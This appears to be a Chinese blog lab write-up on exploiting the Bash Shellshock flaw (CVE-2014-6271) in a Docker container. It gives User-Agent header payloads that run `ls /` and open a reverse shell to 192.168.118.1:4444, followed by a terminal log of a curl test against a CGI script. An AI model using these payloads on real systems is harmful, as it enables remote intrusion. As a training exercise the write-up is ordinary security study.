Bash(shellshock)

本文探讨了GNU Bash 4.3以下版本的安全漏洞,涉及如何利用启动服务器和通过抓包技巧执行反弹shell攻击。同时,提供了针对这种漏洞的防御措施和如何检查容器安全的步骤。

影响
漏洞影响:GNU Bash <= 4.3

启动服务器

搭建:docker-compose up -d
查看:docker-compose ps

请添加图片描述
抵达网站
请添加图片描述
抓包拦截

User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);
反弹shell:User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.118.1/4444 0>&1;

请添加图片描述

root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# docker exec -it 12shellshockcve-2014-6271-web-1 ps aux | grep apache root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# docker exec -it 12shellshockcve-2014-6271-web-1 netstat -tuln | grep :80 root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# cat victim.cgi #!/usr/local/bash-4.3.0/bin/bash echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">' echo '<title>Bash ShellShock</title>' echo '</head>' echo '<body>' echo '<p>' echo 'Hello world' echo '</p>' echo '</body>' echo '</html>' exit 0root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)# \curl --noproxy '*' -v http://127.0.0.1/cgi-bin/victim.cgi * Trying 127.0.0.1:80... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > GET /cgi-bin/victim.cgi HTTP/1.1 > Host: 127.0.0.1 > User-Agent: curl/7.81.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 404 Not Found < Date: Mon, 01 Dec 2025 06:42:26 GMT < Server: Apache/2.4.10 (Debian) < Content-Length: 291 < Content-Type: text/html; charset=iso-8859-1 < <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /cgi-bin/victim.cgi was not found on this server.</p> <hr> <address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address> </body></html> * Connection #0 to host 127.0.0.1 left intact root@zzz-virtual-machine:/home/11/Chapter4/实战12 Shell shock 漏洞(CVE-2014-6271)#
最新发布
12-02
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值